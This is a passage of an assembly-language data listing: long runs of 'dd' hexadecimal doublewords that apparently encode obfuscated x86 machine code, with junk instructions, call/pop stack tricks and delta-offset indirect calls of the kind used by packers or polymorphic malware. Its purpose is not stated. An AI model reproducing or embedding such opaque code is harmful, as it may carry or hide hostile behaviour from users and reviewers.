0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0FC35141h dd 79BF977Dh, 90FC872Eh, 310F5250h, 14E857h, 77FA0000h dd 0F6950D6Eh, 0B08D0816h, 0C046032Dh, 0CBE3D7C2h, 5F5BDCA9h dd 0F50585Ah, 681h, 0BB665700h, 905B38A6h, 64FBB70Fh, 35FFh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0ADA432C3h, 9D23FC61h, 5E41789h, 258964h dd 0E9000000h, 6, 8398B409h, 85FF7870h, 5E4142Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 3EC35747h, 282C2584h dd 8166F23Fh, 6AF71FCBh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 56CA8A47h, 0D9B5FFF8h dd 6005E402h, 615856F5h, 2401B589h, 95FF05E4h, 5E42DADh dd 141E9h, 0C1D78100h, 0B0380D5Fh, 70E6FC00h, 775BD8Bh dd 71E405E4h, 9DA8B60h, 0E40769BDh, 0CB806105h, 0F613C12h dd 11983h, 14E900h, 0BE650000h, 0B54AD9CCh, 0A2C24DBAh dd 0ADFC485Eh, 2E737809h, 0B60FF399h, 0DE8B66C8h, 6BAh dd 0D9BD8B00h, 8B05E41Fh, 830F60C1h, 6, 8A0Fh, 840F0000h dd 5, 0A3046EBBh, 0E8C1610Dh, 30F38104h, 662A591Ah, 11E9E2F7h dd 0DF000000h, 18DF5CD8h, 9ED49292h, 18B8D7E1h, 0BD797CD5h dd 8166C82Bh, 0BB97BDE7h, 7924C2BAh, 8060D18Bh, 0F38192CFh dd 2CAA199Fh, 94E961h, 0EF810000h, 9B73B1h, 4858Bh, 8E0F0000h dd 6, 21499D0Bh, 0C08305E4h, 6870F07h, 8B000000h, 0E4097D9Dh dd 459D2B05h, 8305E420h, 9D8B00C0h, 5E40455h, 830FD03Bh dd 25h, 11E8h, 0E6535C00h, 465C9112h, 0C45A02Bh, 9E8818D5h dd 85895E4Dh, 5E42305h, 34E95Fh, 8B660000h, 0FF8D8BFAh dd 81FFFFFFh, 93AA43C7h, 1E1832Bh, 1C840Fh, 0B2BF0000h dd 8369788Ch, 0FFFFFFA5h, 0DD8AFEFFh, 49589h, 0BF0F0000h dd 0E9F9h, 0B58D0000h, 5E84888h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0ECC35343h, 0DFE78134h, 95550E9h dd 0E41A758Dh, 6A006A05h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 0A81EC355h, 85261303h dd 23D19529h, 95FF05E4h, 5E410C1h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0CBC35141h, 8D8008B3h, 833B8EB8h dd 0C7FFBBA5h, 47B913D6h, 66000010h, 0E183FA8Bh, 0EF8166FCh dd 6AFC3859h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 0DF95C355h, 0FBE81E5Bh, 2D9D8BA3h dd 2B05E41Fh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 3F71E2F6h, 0A3EBEA85h, 108D8529h dd 0D22B05E4h, 0C233ADF5h, 0D003E8D1h, 7504E983h, 0D9B70FF4h dd 880DDA8Bh, 8B000000h, 0E409959Dh, 95958B05h, 6A05E410h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0DB00C356h, 79BB1D4Eh, 6651EE32h, 22D5C781h dd 8185015Bh, 8B05E427h, 0E42C658Dh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 66A7F4DDh dd 1ECD27C8h, 0FC57FFAAh, 0C28B505Fh, 0C103188Bh, 0C18B188Bh dd 0C203E8D1h, 0F58188Bh, 83FCFFB7h, 0E42135BDh, 840F0005h dd 6Ah, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh dd 0A1C35545h, 0D0210A55h, 1974F04Dh, 0B8DA8B9Fh, 0 dd 1ED18589h, 8D8D05E4h, 5E44C30h, 11E9h, 5E3DAF00h, 43B0C371h dd 0C2E1C3B0h, 0D6EEA0EEh, 0E1FFD5AEh, 0EE8h, 0B5917D00h dd 0AA33BBDFh, 206B6FB2h, 1CA5673h, 0E4310D85h, 0BD835F05h dd 5E430FDh, 27840F00h, 6A000004h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 6028C351h dd 810F4531h, 6, 23E5BD89h, 9D0905E4h, 5E43275h, 30FDBD83h dd 0F0105E4h, 40484h, 83FA8B00h, 0E430FDBDh, 860F0305h dd 3BFh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 19h, 65C35242h, 0F3C09DBAh, 0FEBF0FC4h, 3FB9BF60h, 8C663751h dd 55006AD9h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 484CF16Fh, 0EEE2F58Ah, 18820F80h, 0E8000000h dd 0Ch, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch, 480BDB81h, 895B112Bh dd 0E413EDB5h, 4E18005h, 0C90A90B3h, 113840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 8E7539C3h, 460114EEh, 858BFCA6h, 5E42C9Dh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 17h, 78C35040h, 333D3AE3h dd 0E4209985h, 86BB6605h, 0CE95060h, 70000000h, 0B69EE33Ch dd 0DC80B1E2h, 89248FD1h, 860F2404h, 4, 220EBF66h, 6A006Ah dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0FB6852C3h, 0F8DB8C9h, 486h, 76BF6600h, 240481ECh, 72663A04h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0EC35141h dd 9E50A51Eh, 2644D205h, 0FF3BB330h, 0E4015995h, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h dd 0BE0EE3ACh, 434CC781h, 85894125h, 5E79F5Fh, 2D31BD8Bh dd 0CDE905E4h, 0BB000001h, 69C23A6Ah, 0D2AB2DBBh, 57858B18h dd 6A05E79Fh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 0DA6CC351h, 0D2249282h, 1800C7h dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 8E5A49C3h, 0B58BCCB7h, 5E79F5Bh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 1EC35646h, 7E8D6h dd 0E0DB0000h, 0C731727Dh, 0B35FF52Eh, 21858B87h, 6A05E42Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 993FC351h, 0C8C7CB2h, 76B3B9F2h, 0BD81C781h dd 0BD8B6CAFh, 5E40CFDh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0ADF433C3h, 9D8B50F1h dd 5E41165h, 9D858B5Fh, 6A05E42Ch, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 1A1AC352h dd 6671F15Ah, 893EB2BFh, 0B70F0446h, 8C0F50D8h, 0Eh, 9E9h dd 40004E00h, 0E730496Ah, 34894A3Bh, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 499D8BC0h dd 0FF05E404h, 0E79F57B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 80152623h dd 82D2E350h, 699589h, 786805E4h, 8174D30Ch, 0F872434h dd 0FA8B74CCh, 9F5F858Dh, 0DF8B05E7h, 24048950h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0AC35747h, 929B0CE3h dd 0F98501A3h, 0FF05E41Ch, 0E4015995h, 0F98B6605h, 0AE861h dd 521C0000h, 57458DE7h, 0A3A12D6Eh, 0FD85C75Fh, 305E430h dd 81000000h, 21C182C3h, 5FBD8350h, 5E79Fh, 39840Fh, 10E90000h dd 0CC000000h, 0F2442EE4h, 9AD5C681h, 0AF5AA0DAh, 0E99D4E5Bh dd 3Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h dd 0DC35242h, 500FE25Ch, 110C30h, 0C1011144h, 443010E8h dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h dd 4E98311h, 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0F8EA20C3h, 9151A88Ch dd 56006AF8h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 4E050275h, 0BD8B79E7h, 5E4313Dh, 30FDBD83h dd 0F0305E4h, 41085h, 5FBD8300h, 5E79Fh, 403840Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 607AA9C3h, 10BDBD8Bh, 9D8905E4h, 5E42641h, 5FB5FF61h dd 0F05E79Fh, 280h, 0FFDA8B00h, 0E41C1595h, 0D7F38005h dd 9F53B58Bh, 0BD8B05E7h, 5E40855h, 106C7h, 6A0001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 758540C3h, 0E74E0502h, 75B58979h, 5005E40Fh, 89DE8B66h dd 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h dd 53430000h, 8B3C58C3h, 9D2BA04Bh, 5E4231Dh, 9F5FB5FFh dd 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0B48D44C3h, 3A4199FCh, 2B1233C3h, 0E42B899Dh dd 2D95FF05h, 6A05E417h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 553EC352h, 37B711B1h dd 8BF52BBCh, 0E79F53B5h, 9E905h, 2E2A0000h, 8B9C2BB2h dd 8B2DA2EBh, 0E41D1D85h, 0F88B6605h, 0C48689h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 833065C3h, 0CCB77008h, 0F53C44E0h, 1095958Bh, 0BD8905E4h dd 5E42289h, 6A04C283h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 2DE3C356h, 4EF3C284h dd 0BD8B2765h, 5E400B9h, 6A205089h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0FFE2C356h dd 8FAD52B2h, 31FCB720h, 0E4274D85h, 5D8D0105h, 6605E407h dd 8D76BABBh, 0E7B38485h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0BD039F62h dd 5E417A1h, 518589h, 868905E4h, 0B8h, 115D8501h, 6A05E4h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 37C35141h dd 0BE9ACh, 0A6FE0000h, 5603BD08h, 0CFD3B4DAh, 5FB5FF8Fh dd 5305E79Fh, 13E8h, 6A9FCD00h, 12D8158Eh, 993C6663h, 4C271101h dd 7A0FBEA6h, 0FF5B5BF5h, 0E4104595h, 38BB6605h, 0E3BF96ECh dd 502C80AFh, 6A96D98Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 16042444h, 47000000h, 2FA8C357h, 5FB5FF48h dd 6A05E79Fh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1C042444h, 45000000h, 1CE4C355h, 0DBC9D483h, 0F8FE0D81h dd 136595FFh, 0BD8B05E4h, 5E42AC9h, 8F9BD83h, 0F0005E4h dd 3F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0B9719414h, 0AE259E70h, 89EB8160h dd 8B2E205Ch, 0E4076D85h, 8B506105h dd 243489F8h, 0C1BD8B50h, 5B05E41Ah, 9F5FB5FFh, 6A05E7h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 5A9CCCC3h, 962ADCE3h, 0C595FF1Ah, 6A05E429h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 7B9AC355h, 0E94BDA47h, 13h, 0A3FA43F2h, 0A77E27h, 433302E3h dd 795DE505h, 0FFEFBD7Ch, 0E79F5FB5h, 0A19D8B05h, 0FF05E402h dd 0E4197195h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 25BD830Eh, 205E431h, 43840Fh dd 0FE90000h, 90000000h, 2941C635h, 1E310BE9h, 0AE9AC166h dd 858BC091h, 5E41191h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 55C35646h, 0FCF0450Ch, 0E4F4DCB5h, 0C6D6h dd 0E585C7FCh, 5E419h, 60000000h, 51BD0B60h, 2905E401h dd 0E4313D85h, 858B6105h, 5E4182Dh, 0F3ADE961h, 9D8BFFFFh dd 5E42045h, 0C381C18Bh, 209C1313h, 19D5858Dh, 6A05E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 508FFFC3h, 10E9h, 5A310F00h, 70B24566h, 8D13E011h, 169B1099h dd 2404899Bh, 0FE8h, 86124D00h, 0DED39598h, 726135DDh dd 1B6FA28Dh, 319D8589h, 6A5F05E4h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0FC7A7B8Fh dd 6AA107E7h, 9958900h, 8D05E415h, 0E8D86485h, 21958905h dd 8305E41Bh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 2B8CC9C3h, 231BAD26h, 0E40FFDBDh dd 8B665005h, 240489FEh, 48F0Fh, 0BF660000h, 6ACA82h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C2C35343h, 0A031D557h dd 24ECE74Bh, 1FD19589h, 8D0905E4h, 5E4174Dh, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0D67CFCC3h, 0FFC0E93Ch, 0E421A195h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 204CE9E0h, 59F85D8Ah, 0D98B9D7Ch, 9E7F8D8Dh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 31F0B0C3h, 7E9h, 7AA52800h, 746DD8C6h, 0CF81D1FFh, 72F13424h dd 2995BD83h, 0F0105E4h, 8885h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 12D7EB1Eh dd 6646DB38h, 26AFE8Bh, 90DAB70Fh, 50EA8A60h, 0FD38B52h dd 810F31h, 5A000000h, 90506158h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ch, 97C35040h, 4E124506h, 0D6779F6h dd 125D9D8Bh, 95FF05E4h, 5E41045h, 7E8h, 413BB400h, 3A76CF44h dd 68B0Fh, 9D8B0000h, 5E40495h, 0EA6E95Fh, 0E80000h, 5D000000h dd 0D86EED81h, 6A05E8h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 5C7659C3h, 0FE446A5Dh, 9D8B8EF4h dd 5E430D5h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 0A2C35646h, 0E85DBA25h, 0B7794C30h, 0A1BD8B57h dd 8D05E410h, 0E7816885h, 0D88B6605h, 50505B57h, 7E852h dd 0B5CE0000h, 69AD5CE6h, 0F525045h, 5F585A31h, 8B66310Fh dd 89585AF9h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 0E1F73CC3h, 1EE205EEh, 45BF5091h dd 810CA84Bh, 0C3E387D7h, 35FF6458h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0EC35141h dd 392F7F4Ch, 0C99D8B25h, 6405E421h, 2589h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 9A9A15C3h, 85007989h, 85FFFE8Bh, 5E4142Dh, 23398D89h dd 0FF6A05E4h, 1A759D8Bh, 0B5FF05E4h, 5E4078Dh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0F7C35545h, 20C78148h dd 0FF701697h, 0E42DAD95h, 10DE905h, 0B70F0000h, 0E600B0D8h dd 0E7815070h, 7149EF86h, 519D8B5Bh, 0E405E418h, 0BE971h dd 52810000h, 0B173519Ah, 78FDAC27h, 0F613C87h, 0DE83h dd 0C8B60F00h, 2B1D8D89h, 6BA05E4h, 0E9000000h, 0Ah, 71EB1009h dd 9A84C5C6h, 0C18B8453h, 0C890Fh, 8F0F0000h, 6, 2CDD9D89h dd 0E8C105E4h, 860F5304h, 0Eh, 9E9h, 86900500h, 4486962Eh dd 665F9A0Ah, 8166E2F7h, 19F78D3h, 0E41BDD9Dh, 8BC82B05h dd 0E9DE8BD1h, 7Bh, 219DB509h, 858B05E4h, 5F4C4C44h, 51CF8166h dd 7C0834Bh, 83F88B66h, 565300C0h, 5B5FFB8Bh, 830FD03Bh dd 1Bh, 1D219D89h, 48E905E4h, 0BB000000h, 17A2A1BDh, 5850Fh dd 3ABB0000h, 8B0F694Ah, 0FFFFFF8Dh, 5E9FFh, 5D8F0000h dd 83FABE6Bh, 840F01E1h, 1Fh, 0D1C78166h, 0FFA58384h, 0FEFFFFFFh dd 25959D29h, 958905E4h, 5F4C4C44h, 0E9FE8Bh, 8D000000h dd 0E858CFB5h, 8F0F05h, 6A000000h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 89A73A4h, 0C195FFE1h dd 6A05E410h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 407BC353h, 0A6545CDFh, 7E8h, 0B6EDFB00h dd 0F2F4C2B7h, 0D0B95BF5h, 6A00000Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 5ACBC356h dd 0B9D9E58h, 0E400319Dh, 0FCE18305h, 0FD9D8Bh, 9FC05E4h dd 0E416618Dh, 0B805h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1B0424h, 55450000h, 0F62A3CC3h, 33DA9F3Dh dd 0BA9Bh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1C0424h, 57470000h, 1BC15C3h, 0ACAA6D5Eh, 33ADB0B6h dd 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 9396F5C3h, 65B10139h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 9BC35040h dd 68E000AEh, 0EE9h, 0EA9F4D00h, 2A9569DDh, 0E5B396D5h dd 0D88D87Bh, 88h, 0FF36F0BFh, 95958B69h, 6A05E410h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0E300C357h, 5433302h, 7C795DE5h, 26019D8Bh, 816605E4h dd 8B516AD3h, 0E42C658Dh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0AE73F8D7h dd 0B218FFC8h, 1065B589h, 8B5005E4h, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 8AC35545h, 0A7CC8CBCh, 988C488Eh, 52D98BEBh dd 51006A5Bh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0DBC82AF6h, 5606D636h, 13F1BD01h, 0BD8305E4h dd 5E42135h, 79840F00h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 782CC357h dd 35B62B3Ch, 0C4D0BF66h, 1E860Fh, 8C0F0000h, 18h, 13E9h dd 47F91700h, 74B843F8h, 300698C1h, 0CA8C92FAh, 0E8DDA338h dd 0B8h, 308D8D00h, 6A05E44Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 49A2C352h, 0BD8BE1FFh dd 5E41775h, 30FDBD83h, 0F0005E4h, 42384h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 6995294Dh, 8305E428h, 0E430FDBDh, 840F0105h, 40Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 49C35646h, 0EEDEB2D3h dd 0C86F19A4h, 0E9F98BE6h, 0Eh, 5004EDB1h, 5AB5EA67h, 0D28146A2h dd 0BD834048h, 5E430FDh, 92860F03h, 6A000003h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h dd 7C1DC350h, 0BD8BC5E1h, 5E413B5h, 88F0F60h, 56000000h dd 2109BD89h, 665F05E4h, 6AD98Ch, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 520F86C3h, 9D8B5128h dd 5E41AEDh, 4E1805Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 61C35141h, 8B6660C2h, 998D8BDEh, 6105E42Ch dd 840FC90Ah, 124h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 78C35242h, 0C20F760Ah, 4916695Ch, 12E9h dd 607AC700h, 0C0E80D13h, 0F6125D94h, 0D54C4C35h, 8BB9D2D8h dd 0E42C9D85h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0E5653445h, 7D9D8BFDh dd 3305E413h, 0E4209985h, 909CB305h, 6650B9B3h, 9009EDBBh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 2EC35747h dd 23E64277h, 6A9CAA3Dh, 359D8B00h, 0E905E416h, 11h, 8EFBE533h dd 5E885854h, 4AF39ED6h, 4BAB297h, 0C3406837h, 60B7A2A4h dd 0BF240481h, 895D7A40h, 0E41FD18Dh, 5995FF05h, 6605E401h dd 8589DE8Bh, 5E79F5Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 6C35747h, 47B6BD0Dh, 3258CEAFh, 7E95077h dd 47000000h, 36C1EA3Bh, 0E95FD32Ch, 187h, 0BE9h, 25083E00h dd 513DA8E8h, 50CB1C6Ch, 9F57858Bh, 6A05E7h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0FED01CC3h dd 2996DBE8h, 1800C7A0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 35DAC352h dd 8134C1F8h, 0DAFBD1B0h, 0B58BFE8Bh, 5E79F5Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D3C35141h, 4ACF684Bh dd 2A21858Bh, 0AE905E4h, 11000000h, 0D8A8DDE3h, 0DCE8A9AFh dd 660689B9h, 895A88BFh, 0E403D585h, 9D858B05h, 6A05E42Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8907C356h, 0E407058Dh, 4468905h, 2860Fh dd 41B30000h, 0F98B6650h, 8B243489h, 0E42A8DBDh, 57B5FF05h dd 8105E79Fh, 0E3DAC3D7h, 11BD8B61h, 6805E41Bh, 0BA17BE5Ah dd 481DA8Bh, 745A524h, 51006A46h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0A226D616h, 8D1E58DAh dd 0E79F5F85h, 0E3816605h, 0BF90CCD6h, 46A936A4h, 5B515150h dd 6A905Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0DFF329C3h, 14F18769h, 5995FF42h, 0E905E401h dd 13h, 0CB43B9E2h, 896FC0C9h, 6FB615E4h, 0E0F926AFh, 61E7F8ABh dd 1E8EEB81h, 85C75662h, 5E430FDh, 3, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 1CC35242h, 9F5FBD83h, 0F0005E7h dd 2C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1404h, 0C3564600h, 26E947h, 66600000h, 595FE281h, 5A5F5256h dd 0C305061h, 11440011h, 10E8C101h, 2114430h, 3114C00h dd 4E98358h, 36EBE775h, 11043050h, 1116400h, 3010E8C1h dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h dd 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 86C35747h, 0FE856A0h, 0D7000000h, 7FA85A3Bh, 9D1D106Bh dd 0AE391619h, 0BD8BCB76h, 5E41431h, 53006A5Bh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 8371713Ch dd 0E430FDBDh, 850F0305h, 475h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0B7C35040h, 0BCAFA577h, 0DEC6E863h dd 5FBD835Ah, 5E79Fh, 443840Fh, 2BBB0000h, 0FF725721h dd 0E79F5FB5h, 50006A05h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E82B4E01h, 0F381667Eh dd 0BD8B6315h, 5E414DDh, 1C1595FFh, 6A05E4h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 8BB88BC3h dd 0E79F53B5h, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1504h, 0C3514100h, 0DB809316h, 399D332Dh dd 0C705E421h, 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 638D0D56h, 0EB81660Bh dd 6050D668h, 0C542B866h, 24348961h, 0D6D78166h, 5FB5FF50h dd 0F05E79Fh, 687h, 46C38100h, 0FF210964h, 0E4172D95h dd 89BD2905h, 8B05E42Ah, 0E79F53B5h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 1D858BD4h dd 6A05E41Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0A4B3C352h, 17BDB48Ch, 0C48689h dd 9E90000h, 0CF000000h, 49D7C8F6h, 2861CB1Bh, 13E9h, 98E33600h dd 64DB6648h, 0BA06E25Dh, 0FFCD0E30h, 0B94945B7h, 1095958Bh dd 0BD8B05E4h, 5E41C75h, 32959D29h, 0C28305E4h, 57006A04h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0C381669Ch, 0BD89DFDCh, 5E431D5h, 60205089h, 68F0Fh dd 8D010000h, 5E41EF5h, 5800Fh, 0EDB90000h, 615167A0h dd 0B384858Dh, 6A05E7h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 85092BC3h, 5E42201h, 0B88689h, 8B660000h dd 6A006ADEh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 1489C352h, 1C2D6B5Ah, 28A0Fh dd 0DF8B0000h, 9F5FB5FFh, 0D98B05E7h, 99D29h, 95FF05E4h dd 5E41045h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 53C35343h, 57A08D78h, 2071BD8Bh, 509605E4h, 5E50BB66h dd 459D8B96h, 0FF05E412h, 0E79F5FB5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0CFCF13FAh, 0AE1265CBh, 10E860h, 0CFE40000h, 0DDC06716h dd 0C513F8F7h, 0F24CB34Fh, 8B66D4F9h, 820F5BF3h, 2, 0FF615E51h dd 0E4136595h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1A04h, 0C3534300h, 5061236Ah, 8B3A6EDAh dd 0E41C619Dh, 0F9BD8305h, 5E408h, 47840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0A1249C3h, 0DABD0998h, 9D8B11C9h, 5E420F5h, 1B69BD8Bh dd 5B5605E4h, 50DA8B96h, 4840Fh, 0BF660000h, 8B9605E1h dd 0E41B5D9Dh, 5FB5FF05h, 6A05E79Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0CC29C353h dd 66A92332h, 95FFF98Bh, 5E429C5h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Dh, 3CC35747h, 2DD0C1FCh, 0DD8F00A3h dd 0EE8BCh, 0C40E0000h, 2E818A0Ch, 0F10A859Fh, 3CF64B81h dd 0FF5F59B3h, 0E79F5FB5h, 29B58905h, 0FF05E420h, 0E4197195h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 8D896763h, 5E43129h, 3125BD83h, 0F0205E4h dd 4984h, 9E900h, 2B9F0000h, 0CA5251CBh, 8BB7470Eh, 0E4119185h dd 0C19D8B05h, 0C605E425h, 6A0000h, 3E853h, 5B200000h dd 